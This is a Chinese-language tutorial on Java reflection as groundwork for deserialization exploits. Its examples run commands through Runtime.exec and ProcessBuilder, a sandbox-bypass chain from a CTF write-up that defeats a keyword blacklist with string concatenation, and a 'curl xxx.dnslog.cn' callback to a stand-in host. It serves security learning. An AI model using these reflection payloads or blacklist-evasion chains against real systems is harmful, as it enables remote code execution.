Java安全可以从反序列化漏洞开始说起,反序列化漏洞⼜可以从反射开始说起。

反射机制

可以获取到任何类的构造方法Constructors、成员方法Methods、成员变量Fields等信息

  • 核心方法:基本上这⼏个⽅法包揽了Java安全⾥各种和反射有关的Payload。
    • 获取类对象的⽅法: forName
    • 实例化类对象的⽅法: newInstance
    • 获取函数的⽅法: getMethod
    • 执⾏函数的⽅法: invoke
  1. public void execute(String className, String methodName) throws Exception {
  2. Class clazz = Class.forName(className);
  3. clazz.getMethod(methodName).invoke(clazz.newInstance());
  4. }

Class.forName

通常一个JVM下,只会有一个ClassLoader, 而一个ClassLoader下,一种类只会有一个Class对象存在, 所以一个JVM中,一种类只会有一个Class对象存在。

  • Class.forName(),有两个函数重载:
    • Class<?> forName(String name)
    • Class<?> forName(String name, boolean initialize,ClassLoader loader)
  • 其中方法1可以理解为方法2的封装 ```java Class.forName(className); // 等于 Class.forName(className, true, currentLoader);
  1. - 参数:
  2. - `name`:类名,即类完整路径,如`java.lang.Runtime`
  3. - `initialize`:是否初始化
  4. - `ClassLoader`:类加载器,Java默认的ClassLoader就是根据类名来加载类
  5. <a name="PK89y"></a>
  6. ###
  7. <a name="IxrDg"></a>
  8. ### 参数initialize
  9. - 先来看一段代码
  10. ```java
  11. package com.naraku.sec.reflection;
  12. import java.io.IOException;
  13. public class TrainPrint {
  14. {
  15. System.out.printf("Empty block initial %s\n", this.getClass());
  16. }
  17. static {
  18. System.out.printf("Static initial %s\n", TrainPrint.class);
  19. }
  20. public TrainPrint() {
  21. System.out.printf("Initial %s\n", this.getClass());
  22. }
  23. }
  • 分别通过2种方式运行:
    • 类初始化:forName
    • 类实例化:new ```java // 类初始化 public static void main(String[] args) throws IOException, ClassNotFoundException { Class.forName(“com.naraku.sec.reflection.TrainPrint”); } / 输出结果 Static initial class com.naraku.sec.reflection.TrainPrint /

// 类实例化 public static void main(String[] args) throws IOException, ClassNotFoundException { TrainPrint test= new TrainPrint(); } / 输出结果 Static initial class com.naraku.sec.reflection.TrainPrint Empty block initial class com.naraku.sec.reflection.TrainPrint Initial class com.naraku.sec.reflection.TrainPrint /

  1. - 其中,`static{}`就是在**类初始化**时调用的,`{}`则会在构造函数的`super{}`后面,但在当前构造函数内容的前面。上面例子执行顺序为:
  2. - 类初始化:`static{}`
  3. - 类实例化:`static{} -> {} -> 构造函数`
  4. - 所以,`forName`中的`initialize`其实是决定是否执⾏**类初始化**,而不是**类实例化**
  5. <br />
  6. <a name="XAt1p"></a>
  7. ### 简单利用
  8. - 上面说到,在使用`forName()`进行类初始化时,会执行`static{}`中的代码
  9. - 假设存在一个函数,其中的`className`可控
  10. ```java
  11. package com.naraku.sec.reflection;
  12. public class TestRef {
  13. public void ref(String name) throws Exception {
  14. Class.forName(name);
  15. }
  16. public static void main(String[] args) throws Exception {
  17. String className = "com.naraku.sec.reflection.TestCalc";
  18. TestRef testRef = new TestRef();
  19. testRef.ref(className);
  20. }
  21. }
  • 那么可以构造一个恶意类,在static{}中编写恶意代码。当这个恶意类被带入目标机器该函数时,触发forName进行类初始化,从而执行其中的恶意代码
    • 实际情况中如果需要将这个恶意类带⼊⽬标机器中,就涉及到ClassLoader的利⽤ ```java package com.naraku.sec.reflection;

public class TestCalc { static { try { Runtime rt = Runtime.getRuntime(); String[] commands = {“open”, “/System/Applications/Calculator.app”}; Process pc = rt.exec(commands); pc.waitFor(); } catch (Exception e){ e.printStackTrace(); } } }

  1. ![image.png](https://cdn.nlark.com/yuque/0/2022/png/520228/1648016845143-099afda1-2b71-4a10-a66b-06f60a264736.png#clientId=u098ff3a0-b820-4&from=paste&height=223&id=u1f5eca58&margin=%5Bobject%20Object%5D&name=image.png&originHeight=445&originWidth=918&originalType=binary&ratio=1&size=98401&status=done&style=none&taskId=u4fcb75db-270c-47f7-a4c0-ee52ff41e96&width=459)
  2. <a name="CiIW5"></a>
  3. ###
  4. <a name="Zvjhy"></a>
  5. ### 获取类对象的其它函数
  6. `forName`不是获取“类”的唯⼀途径,通常有三种⽅式获取⼀个“类”,也就是`java.lang.Class`对象:
  7. - `Class.forName(className)`,如果已经知道某个类的名字,这样可以获取到它的类
  8. - `obj.getClass()`,如果上下文存在某个类的实例`obj`,可以直接获取到它的类
  9. - `Test.class`,如果已经加载了某个类,只是想获取它的`java.lang.Class`对象,那么直接取它的`class`属性即可。这个方法其实不属于反射
  10. > 上面第1和第2种方式获取Class对象时会导致**类属性**被初始化,而且只会执行一次。
  11. ```java
  12. package com.naraku.sec.reflection;
  13. import java.lang.reflect.Constructor;
  14. public class TestReflection {
  15. public static void main(String[] args) {
  16. String className = "java.lang.Runtime";
  17. try {
  18. Class class1 = Class.forName(className);
  19. Class class2 = java.lang.Runtime.class;
  20. Class class3 = ClassLoader.getSystemClassLoader().loadClass(className);
  21. }
  22. catch (Exception e){
  23. e.printStackTrace();
  24. }
  25. }
  26. }

调用内部类

在正常情况下,除了系统类,如果我们想拿到一个类,需要先import才能使用。而使用forName就不需要,这样对于我们的攻击者来说就十分有利,我们可以加载任意类。

  • 另外,经常在一些源码里看到,类名的部分包含$符号,比如Fastjson在checkAutoType时就会先将$替换成.
  • **$**的作用是查找内部类:Java 的普通类C1中支持编写内部类C2,而在编译的时候,会生成两个文件:C1.classC1$C2.class,通过Class.forName("C1$C2")即可加载这个内部类。

Class.newInstance

获得类以后,可以继续使用反射来获取类中的属性和方法,也可以实例化这个类再调用方法。

  • Class.newInstance(),Java反射框架中类对象创建新的实例化对象的方法。作用就是调用这个类的无参构造函数。当调用newInstance不成功时,原因可能是:
    • 使用的类没有无参构造函数
    • 使用的类构造函数是私有的

私有的类构造方法

最常见的情况就是java.lang.Runtime,这个类在构造命令执行Payload时经常用到,但不能直接这样来执行命令:

  1. package com.naraku.sec.reflection;
  2. public class TestNewInstance {
  3. public static void main(String[] args) throws Exception{
  4. Class clazz = Class.forName("java.lang.Runtime");
  5. clazz.getMethod("exec", String.class).invoke(clazz.newInstance(), "id");
  6. }
  7. }
  8. /* 报错
  9. Exception ... can not access a member of class java.lang.Runtime with modifiers "private"
  10. */
  • 原因是java.lang.Runtime这个类的构造方法是私有的,这里涉及到单例模式的设计思想
    • 比如Web应用中的数据库链接,通常只需要链接一次。此时可以将数据库链接所使用的类的构造函数设为私有,这样只有在类初始化时才会执行一次构造函数,然后通过编写一个静态方法来获取这个数据库对象。
  • 这里Runtime类也使用了单例模式,因此只能通过Runtime.getRuntime()来获取Runtime对象。所以需要修改为: ```java package com.naraku.sec.reflection;

public class TestNewInstance { public static void main(String[] args) throws Exception{ Class clazz = Class.forName(“java.lang.Runtime”); clazz.getMethod(“exec”, String.class).invoke( clazz.getMethod(“getRuntime”).invoke(clazz), “open /System/Applications/Calculator.app” ); } }

  1. <a name="hMKDT"></a>
  2. ### getMethod和invoke
  3. > 上面的例子中用到了`getMethod()`和`invoke()`方法。正常执行方法是` [1].method([2], [3], [4]...)` ,在反射里就是`method.invoke([1], [2], [3], [4]...)`
  4. - `getMethod()`,作用是通过反射获取Class对象的指定公有方法,调用`getMethod()`时需要根据获取的方法传递对应的**参数类型列表**。
  5. - 例如需要调用`Runtime.exec()`方法,该方法有6个重载,以第一个为例:`exec(String command)`,那么就需要传递一个`String`类的类对象
  6. ```java
  7. getMethod("exec", String.class)
  • invoke()属于Method类,作用是对方法进行调用
    • 如果执行的是普通方法,那么第一个参数是类对象
    • 如果执行的是静态方法,那么第一个参数是类
  • 所以前面的例子也可以修改为: ```java package com.naraku.sec.reflection;

import java.lang.reflect.Method;

public class TestNewInstance { public static void main(String[] args) throws Exception{ Class clazz = Class.forName(“java.lang.Runtime”);

  1. Method execMethod = clazz.getMethod("exec", String.class);
  2. Method getRuntimeMethod = clazz.getMethod("getRuntime");
  3. Object runtime = getRuntimeMethod.invoke(clazz);
  4. execMethod.invoke(runtime,"open /System/Applications/Calculator.app");
  5. }

}

  1. - 这里有2个问题:
  2. - 如果一个类没有无参构造方法,也没有类似单例模式里的静态方法,怎样通过反射实例化该类?
  3. - 如果一个方法或构造方法是私有方法,是否能够通过反射执行?
  4. <a name="iO1Q8"></a>
  5. ## Class.getConstructor
  6. > 如果一个类没有无参构造方法,也没有单例模式里的静态方法,怎样通过反射实例化该类?
  7. - [Class.getConstructor()](https://docs.oracle.com/javase/7/docs/api/java/lang/Class.html#getConstructor%28java.lang.Class...%29),作用是获取构造函数对象,接收的参数是构造函数的**参数类型列表**。获取到构造函数后,使用`newInstance`来进行实例化
  8. - 以另一种命令执行方式`ProcessBuilder`类为例,该类有两个构造函数:
  9. - `public ProcessBuilder(List<String> command)`
  10. - `public ProcessBuilder(String... command)`
  11. <a name="XUYkQ"></a>
  12. ### 反射替代强制类型转换
  13. - 第一种构造函数,需要传入`List.class`类对象。先通过反射来获取其构造函数,再调用`start()`方法执行命令:
  14. ```java
  15. package com.naraku.sec.reflection;
  16. import java.util.List;
  17. import java.util.Arrays;
  18. public class TestProcessBuilder {
  19. public static void main(String[] args) throws Exception {
  20. Class clazz = Class.forName("java.lang.ProcessBuilder");
  21. ((ProcessBuilder) clazz.getConstructor(List.class).newInstance(Arrays.asList("open", "/System/Applications/Calculator.app"))).start();
  22. }
  23. }
  • 这个Payload用到了强制类型转换,实际情况下利用漏洞的时候没有这种语法,所以需要利用反射来完成这一步: ```java package com.naraku.sec.reflection;

import java.util.List; import java.util.Arrays;

public class TestProcessBuilder { public static void main(String[] args) throws Exception { Class clazz = Class.forName(“java.lang.ProcessBuilder”); clazz.getMethod(“start”).invoke(clazz.getConstructor(List.class).newInstance(Arrays.asList(“open”, “/System/Applications/Calculator.app”))); } }

  1. - 这里通过`getMethod("start")`获取到start方法,然后`invoke`执行,`invoke`的第一个参数就是`ProcessBuilder`类对象
  2. <a name="ty49p"></a>
  3. ### 可变长参数
  4. - 第二种构造函数,传递的参数为`(String... command)`,即表示这是一个可变长参数。如果想要在反射中获取这种参数,将其看作数组即可:
  5. ```java
  6. Class clazz = Class.forName("java.lang.ProcessBuilder");
  7. clazz.getConstructor(String[].class);
  • 在调用newInstance的时候,因为这个函数本身接收的是一个可变长参数,ProcessBuilder所接收的也是一个可变长参数,二者叠加为一个二维数组,所以整个Payload如下: ```java package com.naraku.sec.reflection;

public class TestProcessBuilder { public static void main(String[] args) throws Exception { Class clazz = Class.forName(“java.lang.ProcessBuilder”); ((ProcessBuilder) clazz.getConstructor(String[].class).newInstance(new String[][]{{“open”, “/System/Applications/Calculator.app”}})).start();

  1. }

}

  1. - 同样地可以利用完全反射完成:
  2. ```java
  3. package com.naraku.sec.reflection;
  4. public class TestProcessBuilder {
  5. public static void main(String[] args) throws Exception {
  6. Class clazz = Class.forName("java.lang.ProcessBuilder");
  7. clazz.getMethod("start").invoke(clazz.getConstructor(String[].class).newInstance(new String[][]{{"open", "/System/Applications/Calculator.app"}}));
  8. }
  9. }

Class.getDeclared

如果一个方法或构造方法是私有方法,是否能够通过反射执行?

  • 这里涉及到getDeclared系列的方法:getDeclaredMethod()getDeclaredConstructor()。它们和普通getMethod()/getConstructor()的用法类似,主要区别在于:
    • getMethod()系列方法获取的是当前类中所有公共方法,包括从父类继承的方法
    • getDeclaredMethod()系列方法获取的是当前类中“声明”的方法,包括私有方法,但不包括从父类继承的方法

反射私有构造方法

  • java.lang.Runtime类为例,前文说到这个类的构造方法是私有的。这里可以直接调用getDeclaredConstructor()来获取这个私有的构造方法来实例化对象,从而执行命令
    • 需要注意的是,获取私有方法后需要用setAccessible()修改其作用域,否则仍然不能调用。 ```java package com.naraku.sec.reflection;

import java.lang.reflect.Constructor;

public class TestDeclared { public static void main(String[] args) throws Exception { Class clazz = Class.forName(“java.lang.Runtime”); Constructor cs = clazz.getDeclaredConstructor(); cs.setAccessible(true);

  1. clazz.getMethod("exec", String.class).invoke(cs.newInstance(), "open /System/Applications/Calculator.app");
  2. }

}

  1. <a name="JZJmO"></a>
  2. ## 实例-沙盒绕过
  3. > 在安全研究中,我们使⽤反射的⼀⼤⽬的,就是绕过某些沙盒。
  4. - ⽐如上下⽂中如果只有`Integer`类型的数字,如何获取到可以执⾏命令的`Runtime`类呢,伪代码:
  5. ```java
  6. 1.getClass().forName("java.lang.Runtime")

Code-Breaking 2018中某道题的第三方Writup:http://rui0.cn/archives/1015

  • 在JAVA中可以通过下面代码来执行命令,但在题目中使用了黑名单 ```java Runtime.getRuntime().exec(“curl xxx.dnslog.cn”)
  1. - 使用反射来构造一条调用链,这样就可以在关键字处使用字符串拼接来达到绕过黑名单的效果
  2. ```java
  3. String.class.getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("exec",String.class).invoke(String.class.getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(String.class.getClass().forName("java.l"+"ang.Ru"+"ntime")), "curl xxx.dnslog.cn);
  • 整理一下比较容易理解: ```java String.class.getClass() // 获取 Class 对象 .forName(“java.lang.Runtime”) // 获取 Runtime 对象 .getMethod(“exec”, String.class) // 获取 exec 方法 .invoke( // 反射调用 exec 方法 String.class.getClass() // 同上,获取并调用 getRuntime 方法 .forName(“java.lang.Runtime”) .getMethod(“getRuntime”) .invoke( // 同上,获取 Runtime 对象
    1. String.class.getClass()
    .forName(“java.lang.Runtime”) ), “curl xxx.dnslog.cn” // exec 方法参数 );
  1. - 完整代码:
  2. ```java
  3. package com.naraku.sec.reflection;
  4. public class TestChain {
  5. public static void main(String[] args) {
  6. // Runtime.getRuntime().exec("curl xxx.dnslog.cn")
  7. try {
  8. String.class.getClass().forName("java.lang.Runtime").getMethod("exec", String.class).invoke(
  9. String.class.getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(
  10. String.class.getClass().forName("java.lang.Runtime")
  11. ), "curl xxx.dnslog.cn"
  12. );
  13. }
  14. catch (Exception e) {
  15. e.printStackTrace();
  16. }
  17. }
  18. }